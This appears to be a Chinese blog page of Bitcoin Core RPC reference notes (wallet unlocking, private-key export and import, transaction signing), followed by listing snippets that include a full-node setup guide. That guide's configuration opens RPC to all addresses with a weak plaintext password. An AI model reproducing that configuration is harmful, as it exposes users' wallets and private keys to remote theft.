    如果您以十六进制的形式导入一个非标准的原始脚本,发送给它的输出将被视为更改,并且不会显示在许多rpc中。

    示例:

    ~]#  bitcoin-cli importaddress "myscript"       #导入一个地址并重新扫描
    
    ~]#  bitcoin-cli importaddress "myscript" "testing" false           #添加一个标签,不重新扫描
    
    ~]# curl --user myusername --data-binary '{"jsonrpc": "1.0", "id":"curltest", "method": "importaddress", "params": ["myscript", "testing", false] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/      #JSON格式请求
    1. 显示地址及余额信息

    调用按地址分组显示余额信息。该调用需要节点启用钱包功能。

    参数:无

    命令返回值:

    [
      [
        [
          "bitcoinaddress",     (字符串)比特币地址
          amount,                 (数字)以 BTC 为单位的金额
          "account"             (字符串,可选,已过时)账户
        ],
        [
          "bitcoinaddress",     (字符串)比特币地址
          amount,                 (数字)以 BTC 为单位的金额
          "account"             (字符串,可选,已过时)账户
        ]
      ]
    ]

    示例:

    [root@wallet-test bin]# ./bitcoin-cli -rpcconnect=127.0.0.1 -rpcport=30011 -rpcuser=test -rpcpassword=test listaddressgroupings
    [
      [
        [
          "mmDT8XrYautmFJ2Z7upZCMWeTmDt5a9Kza",
          0.00000000,
          ""
        ]
      ]
    ]
    1. 用密码解锁钱包

    walletpassphrase "passphrase" timeout

    在设置的timeout时间内,将钱包解密密钥存储在内存中。
    在执行与私钥相关的事务前,这是必须操作。

    参数:

    1. passphrase:字符串,必须项。钱包密码。
    2. timeout:数值,必须项。保存解密密钥的时间(以秒为单位)。限制在最多1073741824(2^30)秒。任何大于1073741824秒的值将被设置为1073741824秒。

    注意:
    在钱包已经解锁时发出walletpassphrase命令将设置一个新的解锁时间并覆盖旧解锁时间。

    示例:

    ~]# bitcoin-cli walletpassphrase "my pass phrase" 60        #解锁钱包60秒
    ~]# bitcoin-cli walletlock          #再次锁定钱包
    ~]# curl --user myusername --data-binary '{"jsonrpc": "1.0", "id":"curltest", "method": "walletpassphrase", "params": ["my pass phrase", 60] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/           #JSON格式请求
    1. 导出私钥

    dumpprivkey "address"

    显示与“address”对应的私钥。importprivkey可以使用这个输出。

    注意:
    使用本命令前,必须先解锁钱包。

    参数:

    1. "address":字符串,必须项。比特币的私钥地址。

    输出结果:

    1. "key":字符串,私钥。

    示例:

    ~]# bitcoin-cli dumpprivkey "myaddress"         #导出地址为myaddress钱包的私钥
    ~]# bitcoin-cli importprivkey "mykey"           #导入值为mykey的私钥
    ~]# curl --user myusername --data-binary '{"jsonrpc": "1.0", "id":"curltest", "method": "dumpprivkey", "params": ["myaddress"] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/         #JSON格式请求
    1. 导入私钥

    importprivkey "privkey" ( "label" ) ( rescan )

    将私钥(dumpprivkey返回)添加到钱包中。需要一个新的钱包备份。
    提示:使用importmulti导入多个私钥。

    参数:

    1. "privkey":字符串,必须项。私钥(dumpprivkey的输出)
    2. "label":字符串,可选项,默认为空。可选标签。
    3. rescan:布尔值,可选项,默认为true。重新扫描钱包的交易。

    注意:
    如果rescan为真,则此调用可能需要一个多小时才能完成,在此期间,其他rpc调用可能报告导入的密钥存在,但相关事务仍然缺失,导致临时错误/虚假余额和未使用的输出,直到rescan完成。

    示例:

    ~]# bitcoin-cli dumpprivkey "myaddress"     #导出地址为myaddress钱包的私钥
    ~]# bitcoin-cli importprivkey "mykey"           #导入值为mykey的私钥并重新扫描该钱包的交易
    ~]# bitcoin-cli importprivkey "mykey" "testing" false       #导入值为mykey的私钥,标签为testing,不扫描。
    ~]# bitcoin-cli importprivkey "mykey" "" false      #导入值为mykey的私钥,标签为空,不扫描。
    ~]# curl --user myusername --data-binary '{"jsonrpc": "1.0", "id":"curltest", "method": "importprivkey", "params": ["mykey", "testing", false] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/
                #JSON格式请求
    1. 签名

    signrawtransaction "hexstring" ( [{"txid":"id","vout":n,"scriptPubKey":"hex","redeemScript":"hex"},...] ["privatekey1",...] sighashtype )

    调用使用钱包中的私钥对指定的序列化交易字符串进行签名。

    参数:

    1. "hexstring":字符串,必须项。事务十六进制字符串
    2. "prevtxs":字符串,可选项。以前相关事务输出的json数组。
      [ (json array of json objects, or 'null' if none provided)
      {
      "txid":"id", (字符串,必须项) 事务ID
      "vout":n, (数字,必须项) 输出数量
      "scriptPubKey": "hex", (字符串,必须项) script key
      "redeemScript": "hex", (字符串,必须项,值为P2SH或P2WSH) redeem script
      "amount": value (numeric, required) The amount spent
      }
      ,...
      ]
    3. "privkeys":字符串,可选。一个由base58编码的专用密钥组成的json数组,用于签名
      [ (json array of strings, or 'null' if none provided)
      "privatekey" (字符串) 基于base58编码的私钥
      ,...
      ]
    4. "sighashtype":字符串,可选,默认为ALL。散列HASH的类型必定为"ALL"、"NONE"、"SINGLE"、"ALL|ANYONECANPAY"、"NONE|ANYONECANPAY"、"SINGLE|ANYONECANPAY"中的一种。

    输出:

    {
      "hex" : "value",           (string) The hex-encoded raw transaction with signature(s)
      "complete" : true|false,   (boolean) If the transaction has a complete set of signatures
      "errors" : [                 (json array of objects) Script verification errors (if there are any)
        {
          "txid" : "hash",           (string) The hash of the referenced, previous transaction
          "vout" : n,                (numeric) The index of the output to spent and used as input
          "scriptSig" : "hex",       (string) The hex-encoded signature script
          "sequence" : n,            (numeric) Script sequence number
          "error" : "text"           (string) Verification or signing error related to the input
        }
        ,...
      ]
    }

    示例:

    ~]# bitcoin-cli signrawtransaction "myhex"
    ~]# curl --user myusername --data-binary '{"jsonrpc": "1.0", "id":"curltest", "method": "signrawtransaction", "params": ["myhex"] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/

    转载于:https://blog.51cto.com/11975865/2384841

    展开全文
  • bitcoin全节点搭建

    万次阅读 2020-03-11 10:58:32
    环境 ubuntu16.04 64位操作系统 准备一个500G硬盘挂载到/mnt/... cd /mnt/bitcoin #下载 wget https://bitcoin.org/bin/bitcoin-core-0.17.0.1/bitcoin-0.17.0.1-x86_64-linux-gnu.tar.gz #解压并创建软链接 tar ...

    环境

    ubuntu16.04
    64位操作系统
    准备一个500G硬盘挂载到/mnt/下

    安装流程

    #创建目录
    mkdir  && cd /mnt/bitcoin
    
    #下载
    wget https://bitcoin.org/bin/bitcoin-core-0.17.0.1/bitcoin-0.17.0.1-x86_64-linux-gnu.tar.gz
    
    #解压并创建软链接
    tar -zxvf bitcoin-0.17.0.1-x86_64-linux-gnu.tar.gz
    ln -fs /mnt/bitcoin/bitcoin-0.17.0/bin/bitcoind /usr/local/bin/bitcoind
    ln -fs /mnt/bitcoin/bitcoin-0.17.0/bin/bitcoin-cli /usr/local/bin/bitcoin-cli
    
    #创建btc数据存放目录
    mkdir -p/mnt/bitcoin/btc_data
    
    #创建btc配置文件目录
    mkdir /root/.bitcoin
    #写配置文件
    cat << EOF > /root/.bitcoin/bitcoin.conf
    datadir= /mnt/bitcoin/btc_data
    dbcache=10240
    txindex=1
    rpcuser=mybtc
    rpcpassword=btc2019
    daemon=1
    server=1
    rest=1
    rpcbind=0.0.0.0:8332
    rpcallowip=0.0.0.0/0
    EOF
    
    #后台启动bitcoind
    bitcoind -daemon
    
    #查看同步区块高度
    bitcoin-cli getblockcount
    
    #查看链信息
    bitcoin-cli getblockchaininfo
    
     #查看钱包信息
    bitcoin-cli getwalletinfo
    
     #查看网络信息
    bitcoin-cli getnetworkinfo
    
    #rpc接口访问
    curl --user myusername --data-binary '{"jsonrpc": "1.0", "id":"curltest", "method": "getblockchaininfo", "params": [] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/
    
    展开全文
  • 【VS2019】编译Bitcoin Core

    千次阅读 2019-06-21 19:56:45
    在使用vs编译bitcoin core之前,需要独立安装bitcoin core所需的依赖库。 为提高安装依赖库的效率,在此推荐使用vcpkg工具。 1、安装vcpkg 1、https://github.com/Microsoft/vcpkg 2、把vcpkg文件夹加入环境变量中,...
  • brew常用命令

    2020-04-28 17:00:02
    Homebrew 常用命令一览 $ brew --help #简洁命令帮助 $ man brew #完整命令帮助 $ brew install git #安装软件包(这里是示例安装的Git版本控制) $ brew uninstall git #卸载软件包 $ brew search git #搜索软件包 ...
  • 比特币源码分析-bitcoin程序框架

    千次阅读 2018-05-31 16:12:25
    基础技术http restLevel DBZero MQBloom filterCuckoo hashDNS seedTor -- the onion route文件一览 库:secp256k1:椭圆曲线非对称加密,数字签名库qt:GUI库univalue:数据类型库,服务于rpc序列化 其他文件夹:...
  • 这里是bitcoin-core的使用教程,及如何在PC端搭建冷钱包。 正文 下载bitcoin-core 可前往比特币官网下载页下载最新版,如果想用老版本可以去Github看看,或者去这里直接下载。对于PC端,有安装版和压缩版可供选择,...
  • Python : bitcoin

    千次阅读 2017-12-26 18:51:10
    bitcoin库对理解区块链和比特币有帮助。
  • 区块链技术:架构及进展

    千次阅读 2018-11-13 09:35:48
    title: 区块链技术:架构及进展 总结归纳 1 引言 传统数据库 传统的关系型数据库管理系统、NoSQL数据库管理系统 单一机构进行管理和维护 单一机构对所有数据拥有绝对的控制权 其他机构无法完整了解数据更新过程 ...
  • 比特币官方客户端Bitcoin Core。 截至201912月最新版bitcoin-0.19.0.1
  • bitcoin-0.17.1-x86_64-linux-gnu.tar.gz 配上对应安装教程:https://blog.csdn.net/zs345048102/article/details/86287926
  • Bitcoin-Qt 是使用 Qt 开发的比特币客户端,目前该项目已经成为比特币官方的客户端,合并到比特币项目中,不再单独立项。 标签:Bitcoin
  • 这是中本聪客户端,有需要的可以下载,我下载的时间是2020/07/11,版本如资源名称。
  • vs2013编译bitcoin源码(bitcoin-0.9.4) 使用Mingw环境可以比较快的编译出bitcoin-cli,bitcoind,bitcoin-qt这三个执行文件,但是对于C++开发人员不方便学习代码,进行调试,所以本人网上找了一些资料实践了一...
  • 区块链扩容方案之(一)Bitcoin-NG

    千次阅读 2019-07-15 15:56:49
    区块链扩容方案之(一)Bitcoin-NG比特币性能缺陷:Bitcoin-NG共识协议介绍:Bitcoin-NG的安全性分析:1.Bitcoin-NG的激励机制状况1--自私挖矿(selfish-mining)状况2--在非最新微块基础上挖矿2.毒药交易Bitcoin-NG...
  • python-bitcoin-blockchain-parser, 一个 python 3比特链 bitcoin-blockchain-parser 这个 python 3库为bitcoind存储的原始数据提供了一个解析器。特性检测输出类型检测输出中的地址解释脚本支持 SegWit支持有序块...
  • 我自己的学习区块链的过程,走了很多弯路,踩了很多坑,写这篇文章,一方面是自己做一个记录,以防后面忘掉,另一方面是希望可以帮助后来的朋友,少走弯路,少...比特币官方钱包客户端的原名是Bitcoin-QT(QT钱包)...
  • bitcoin-NG的分析

    千次阅读 2018-08-10 16:16:50
    bitcoin-NG bitcoin-NG的设计目标 扩容、提高比特币的吞吐量。比特币系统每10min产生一个区块, 由于区块大小的限制,比特币每秒只能记录3~4个交易,其吞吐量远远不能满足当前大部分系统的需求。 现有的扩容...

空空如也

1 2 3 4 5 ... 20
收藏数 21,640
精华内容 8,656
关键字:

bitcoin